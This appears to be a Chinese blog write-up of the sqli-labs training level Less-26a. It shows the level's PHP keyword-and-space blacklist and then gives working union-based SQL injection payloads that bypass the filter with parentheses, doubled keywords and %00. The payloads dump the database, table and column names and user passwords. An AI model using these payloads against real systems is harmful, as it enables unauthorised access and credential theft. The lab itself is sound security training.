sqli-labs-Less-26a

SQLI-LAPS 实验记录

Less-26a

这一关与上一关类似,但闭合方式不同,增加了'),那么过关方式就可以结合上一关的技巧,以()应对空格,以双写绕过的方式应对'and','or'字符过滤。

php 复制代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,这次我们使用联合注入的方式,输入Payload如下:

php 复制代码
0') union(select(1),(2),(3));%00

结果如图所示,可以看到页面成功返回数值,那么我们就可以在相应的位置上进行注入。

这里要特别注意,最前面的id值设置为0,而不能设置为1或者-1,否则会影响到回显数值。


后续查找数据库库名、表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0') union(select(1),(2),(database()));%00
  • 查找表名:

    php 复制代码
    0') union(select(1),(2),(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'));%00
  • 查找列名:

    php 复制代码
    0') union(select(1),(2),(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'));%00

    查找其他数据:

    php 复制代码
    0') union(select(1),(2),(select(concat(username,':',passwoorrd))from(security.users)where(id=1)));%00

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
m0_748554811 小时前
golang如何实现用户订阅偏好管理_golang用户订阅偏好管理实现总结
jvm·数据库·python
早日退休!!!2 小时前
《数据结构选型指南》笔记
数据结构·数据库·oracle
xcLeigh2 小时前
KES数据库性能优化实战
数据库·sql·性能优化·sql优化·数据性能
阿正呀2 小时前
Redis怎样实现本地缓存的高效失效通知
jvm·数据库·python
yoyo_zzm2 小时前
Laravel9.x新特性全解析
数据库·mysql·nginx
2501_901200532 小时前
mysql如何设置InnoDB引擎参数_优化innodb_buffer_pool
jvm·数据库·python
m0_495496413 小时前
mysql处理复杂SQL性能_InnoDB优化器与MyISAM差异
jvm·数据库·python
forEverPlume4 小时前
PHP怎么使用Eloquent Attribute Composition属性组合_Laravel通过组合构建复杂属性【方法】
jvm·数据库·python
2301_809204705 小时前
mysql在docker容器中如何部署_利用docker-compose快速启动
jvm·数据库·python
虹科网络安全5 小时前
艾体宝产品|深度解读 Redis 8.4 新增功能:原子化 Slot 迁移(上)
数据库·redis·bootstrap